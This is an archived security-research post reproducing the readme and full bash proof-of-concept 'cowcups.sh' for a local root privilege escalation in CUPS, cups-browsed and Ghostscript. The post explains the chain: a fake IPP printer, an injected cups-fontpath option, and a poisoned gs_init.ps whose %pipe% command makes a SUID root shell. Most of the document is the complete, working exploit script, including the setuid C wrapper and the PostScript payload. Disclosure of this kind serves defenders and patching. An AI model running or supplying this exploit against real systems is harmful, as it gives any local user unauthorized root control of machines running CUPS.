Curated security research, vulnerabilities, advisories and tools for practitioners.

cowcups: CUPS cups-fontpath Local Privilege Escalation (LPE) to Root PoC

Summary

# **cowcups cups-fontpath lpe** An unprivileged local user can trigger root cmd exec by submitting a print job with an attacker-controlled cups-fontpath option. The user advertises a PWG Raster...

Why it matters

Demonstrates an effective local root privilege escalation chain in default CUPS environments by abusing printer discovery and Ghostscript font search paths.
Vendor
OpenPrinting
Product
CUPS / cups-browsed / libcupsfilters
Published
Collected

📦 Full-Text Content Snapshot

R2 Archive · Full Article Preserved256 lines · 7.4 KB
📄 Raw .md⬇️ Download .md

By piratemoo · October 24, 2026 · Source: codeberg.org/piratemoo/cowcups

Overview (readme.md)

cowcups cups-fontpath lpe

An unprivileged local user can trigger root cmd exec by submitting a print job with an attacker-controlled cups-fontpath option. The user advertises a PWG Raster printer with ippeveprinter; cups-browsed discovers it and creates an implicitclass queue. When the user prints to that queue, the root-run backend passes the job option through libcupsfilters to Ghostscript as an -I search path. Ghostscript loads the attacker’s gs_init.ps from that path, where a %pipe% command execs as root.

  • No sudo/lpadmin required
  • No pre-existing printer/victim interaction required

Exploitation Chain & Technical Breakdown

  1. SUID Root Shell Helper (mooshell): Compiles a minimal C wrapper (rootsh.c) that calls setgid(0), setuid(0), and execl("/bin/bash", "bash", NULL) into ./mooshell.
  2. Ghostscript gs_init.ps Poisoning: Locates the installed Ghostscript revision header from /usr/share/ghostscript/.../gs_init.ps and writes a malicious $dir/gs/gs_init.ps containing a PostScript %pipe% operator:
postscript
   (%pipe%sh -c 'chown root:root $rootsh && chmod 4755 $rootsh && id > $proof 2>&1') (r) file
  1. Fake IPP Everywhere Printer Advertisement: Starts ippeveprinter on an unprivileged random local port (18000 + RANDOM % 20000) advertising image/pwg-raster support with queue name graze_<pid>_<timestamp>.
  2. Automatic Queue Discovery via cups-browsed: Waits for the local cups-browsed daemon to discover the IPP printer over mDNS/Bonjour and register an implicitclass:// CUPS queue.
  3. Print Job Submission with cups-fontpath Injection: Submits a print job via lp -d "$queue" -o "cups-fontpath=$dir/gs" /etc/hostname. When the root-privileged filter/backend pipeline (libcupsfilters -> Ghostscript) processes the job, it passes -I $dir/gs to Ghostscript, which loads the attacker's gs_init.ps and executes the %pipe% payload as root, setting SUID root (4755) on ./mooshell.

Full PoC Exploit (cowcups.sh)

Source file: cowcups.sh

bash
#!/usr/bin/env bash
set -euo pipefail

cat <<'EOF'
\|/          (__)
     `\------(oo)
       ||    (__)
       ||w--||     \|/
EOF

rootsh="$(pwd)/mooshell"
proof="$(pwd)/.mooshell-proof"
dir=$(mktemp -d /tmp/cups-lpe.XXXXXX)
queue="graze_$$_$(date +%s)"
port=$((18000 + RANDOM % 20000))
jobnum=""

cancel_and_drain() {
    if [[ -n "$jobnum" ]]; then
        timeout 5 cancel "$jobnum" 2>/dev/null || true
    fi
    timeout 5 cancel -a "$queue" 2>/dev/null || true
    local tries=0
    while pgrep -f "implicitclass://$queue/" >/dev/null 2>&1 && (( tries < 20 )); do
        sleep 0.5
        (( tries++ ))
    done
}

cleanup() {
    local ec=$?
    set +e
    cancel_and_drain
    if [[ -n "${pid:-}" ]]; then
        kill "$pid" 2>/dev/null
        wait "$pid" 2>/dev/null
    fi
    rm -rf "$dir"
    exit "$ec"
}
trap cleanup EXIT INT TERM

pkill -f "ippeveprinter.*graze_" 2>/dev/null || true
sleep 0.5

if ! timeout 5 lpstat -r >/dev/null 2>&1; then
    echo "[-] cupsd not responding — stuck implicitclass backends from a previous run"
    echo "    fix: sudo kill -9 \$(pgrep -f implicitclass://graze_)"
    echo "    then: sudo systemctl restart cups"
    exit 1
fi

timeout 5 cancel -a 2>/dev/null || true

cat > "$dir/rootsh.c" <<'CEOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    if (setgid(0) != 0) {
        perror("setgid");
        return EXIT_FAILURE;
    }
    if (setuid(0) != 0) {
        perror("setuid");
        return EXIT_FAILURE;
    }
    execl("/bin/bash", "bash", (char *)NULL);
    perror("execl");
    return EXIT_FAILURE;
}
CEOF
gcc -Wall -Wextra -Werror -pedantic -std=c11 -o "$rootsh" "$dir/rootsh.c" -O2
rm -f "$dir/rootsh.c"

mkdir -p "$dir/gs" "$dir/spool"

init=$(find /usr/share/ghostscript -name gs_init.ps -print -quit 2>/dev/null)
if [[ -z "$init" ]]; then
    echo "[-] gs_init.ps not found"
    exit 1
fi
rev=$(awk '!/^[[:space:]]*%/ && NF {print $1; exit}' "$init")

cat > "$dir/gs/gs_init.ps" <<EOF
$rev
dup revision ne { 1 .quit } if pop
(%pipe%sh -c 'chown root:root $rootsh && chmod 4755 $rootsh && id > $proof 2>&1') (r) file
closefile
0 .quit
EOF

ippeveprinter -p "$port" -d "$dir/spool" \
    -f image/pwg-raster -F image/pwg-raster "$queue" \
    >"$dir/ippeve.log" 2>&1 &
pid=$!

sleep 0.5
if ! kill -0 "$pid" 2>/dev/null; then
    echo "[-] ippeveprinter failed to start:"
    cat "$dir/ippeve.log" 2>/dev/null
    exit 1
fi
echo "[+] ippeveprinter running on port $port (pid $pid)"

echo "[*] waiting for cups-browsed to pick up the queue (up to 90s)..."
found=0
for i in $(seq 1 90); do
    if timeout 3 lpstat -v 2>/dev/null | grep -Fq "$queue"; then
        found=1
        echo "[+] queue discovered after ${i}s"
        break
    fi
    sleep 1
done

if (( found == 0 )); then
    echo "[-] queue never appeared"
    exit 1
fi

echo "[*] waiting for queue to become routable..."
routable=0
for i in $(seq 1 30); do
    if timeout 3 lpstat -p "$queue" 2>/dev/null | grep -qE 'idle|enabled'; then
        routable=1
        echo "[+] queue routable after additional ${i}s"
        break
    fi
    sleep 1
done

if (( routable == 0 )); then
    echo "[-] queue appeared but never became routable"
    timeout 3 lpstat -p "$queue" 2>/dev/null || true
    exit 1
fi

sleep 3

submit_and_wait() {
    local lp_out
    lp_out=$(timeout 10 lp -d "$queue" -o "cups-fontpath=$dir/gs" /etc/hostname 2>&1) || {
        echo "[-] lp failed: $lp_out"
        return 1
    }
    echo "[+] $lp_out"
    jobnum=$(echo "$lp_out" | grep -oP 'request id is \K[^ ]+' || true)

    for i in $(seq 1 30); do
        if [[ -u "$rootsh" ]]; then
            echo "[+] suid set after ${i}s"
            return 0
        fi
        sleep 1
    done
    return 1
}

echo "[*] submitting print job with poisoned fontpath..."
attempt=1
max_attempts=3
while (( attempt <= max_attempts )); do
    if submit_and_wait; then
        break
    fi

    if [[ -u "$rootsh" ]]; then
        break
    fi

    echo "[*] attempt $attempt failed, cancelling and retrying..."
    cancel_and_drain
    jobnum=""

    if (( attempt == max_attempts )); then
        break
    fi

    sleep 3
    (( attempt++ ))
done

echo "[*] cancelling held job to prevent retry zombies..."
cancel_and_drain

if [[ ! -u "$rootsh" ]]; then
    echo "[-] suid not set after $max_attempts attempts"
    tail -5 "$dir/ippeve.log" 2>/dev/null || true
    rm -f "$rootsh"
    exit 1
fi

echo ""
echo "moo. rooted."
cat "$proof" 2>/dev/null
rm -f "$proof"
echo ""
ls -la "$rootsh"
echo "./mooshell for root shell"

📦 Full-Text Markdown Snapshot archived by Phying News · Original source: codeberg.org